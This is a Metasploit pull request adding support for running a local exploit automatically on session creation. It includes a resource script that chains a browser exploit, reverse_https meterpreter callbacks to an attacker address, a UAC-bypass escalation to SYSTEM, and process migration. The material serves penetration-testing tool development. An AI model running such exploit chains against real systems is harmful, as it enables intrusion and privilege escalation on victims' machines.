rapid7/metasploit-framework — pull request #3357 by kernelsmith (2014-05-13 16:43:07+00:00)
Title: adds the ability to set a local exploit as target for AutoRunScript...

... or InitialAutoRunScript

This PR gives msfconsole (and therefore the user) the ability to use AutoRunScript or InitialAutoRunScript to automatically run a local exploit upon session creation. Users can pass settings to the 2nd (local) exploit via setg and/or as a part of the *AutoRunScript string, otherwise settings are taken from the created session's exploit module datastore.

To achieve this, the code (scriptable.rb) no longer checks only for mod.type == "post". It now also checks for mod.type == "exploit" and if that's true it also checks that exploit_type == "local". If so, it clones the datastore from the current session's exploit module, strips the settings for AutoRunScript, InitialAutoRunScript, and LPORT to help guard against infinite exploitation loops. The code then merges in the settings passed to it through the *AutoRunScript string, such as when one does set AutoRunScript exploit/windows/local/bypassuac LHOST=attacker LPORT=4443. There is nothing that prevents the user from re-assigning the original LPORT, thus forcing an infinite loop. That was debated, and could be changed so that the original (primary) LPORT and the LPORT for the local exploit are compared and rejected if they are the same. Same goes for the *AutoRunScript(s).

## Verification Steps

- [ ] Fire up msfconsole, set AutoRunScript exploit/windows/local/bypassuac (e.g)
- [ ] Run an exploit that gives you a meterp session and see local exploit won't run due to explicit check for module.type == "post"
- [ ] Grab the PR code and run the resource script below, or a variant of it of your choosing.
Feel free to experiment w/various settings

### The following cases are confirmed to work
* Primary exploit leads to user context where user is an admin, and local exploit is used to bypassuac and become system (default state of the resource file below)

* unset'ting DisablePayloadHandler for the 2nd (local) exploit and letting console create the handler (you can do this w/the rc script by using rc_disable_handler_for_local = "false" (expects a string)

* With PSexec as the primary exploit (tho you'll already be system) and running a meterp binary directly from the target to simulate the primary exploit.

* without setting LPORT for the local (2nd) exploit handler (rc_lport_for_local) in which case console does what it normally does, uses a default or global value. LPORT is explicitly neutered by the new code in this PR so that the 2nd connect back does not initiate an infinite loop by connecting back to the original handler

* without setting LHOST for the local (2nd) exploit handler (rc_lhost_for_local) in which case console does what it normally does, uses a default or global value. LHOST should be copied from the original exploit however

### Start of resource script

```
# 0) setup our variables
<% rc_primary_lhost = "192.168.130.1" %>
<% rc_lhost_for_local = rc_primary_lhost %>

<% rc_primary_lport = "4433" %>
<% rc_lport_for_local = "4443" %>

<% rc_primary_exploit = "exploit/windows/browser/ms14_012_textrange" %>
<% rc_exploit_for_local = "exploit/windows/local/bypassuac_injection" %>

<% rc_primary_payload = "windows/meterpreter/reverse_https" %>
<% rc_payload_for_local = rc_primary_payload %>

<% rc_primary_initial_script = "migrate -n explorer.exe" %>
<% rc_disable_handler_for_local = "true" %>
<% rc_primary_auto_run_script = "#{rc_exploit_for_local} LHOST=#{rc_lhost_for_local} LPORT=#{rc_lport_for_local} DisablePayloadHandler=rc_disable_handler_for_local" %>
<% rc_auto_run_script_for_local = "migrate -n spoolsv.exe" %>

# 1) prep for primary exploit
set VERBOSE true
## handler
use exploit/multi/handler
set PAYLOAD <%= rc_primary_payload %>
set LHOST <%= rc_primary_lhost %>
set LPORT <%= rc_primary_lport %>
set ExitOnSession false
set InitialAutoRunScript <%= rc_primary_initial_script %>
set AutoRunScript <%= rc_primary_auto_run_script %>
exploit -j -z

# 2) prep for secondary exploit
set AutoRunScript <%= rc_auto_run_script_for_local %>
unset InitialAutoRunScript
## setup secondary handler for local exploit if DisablePayloadHandler
<% if rc_disable_handler_for_local.downcase == "true" %>
set PAYLOAD <%= rc_payload_for_local %>
set LPORT <%= rc_lport_for_local %>
#exploit -j -z
<% end %>

# 3) run primary exploit to get an initial session
use <%= rc_primary_exploit %>
set PAYLOAD <%= rc_primary_payload %>
set LPORT <%= rc_primary_lport %>
# this is only nec is it's a browser exploit
set SRVHOST <%= rc_primary_lhost %>
# always DisablePayloadHandler for the primary (for testing at least)
set DisablePayloadHandler true
exploit -j -z
```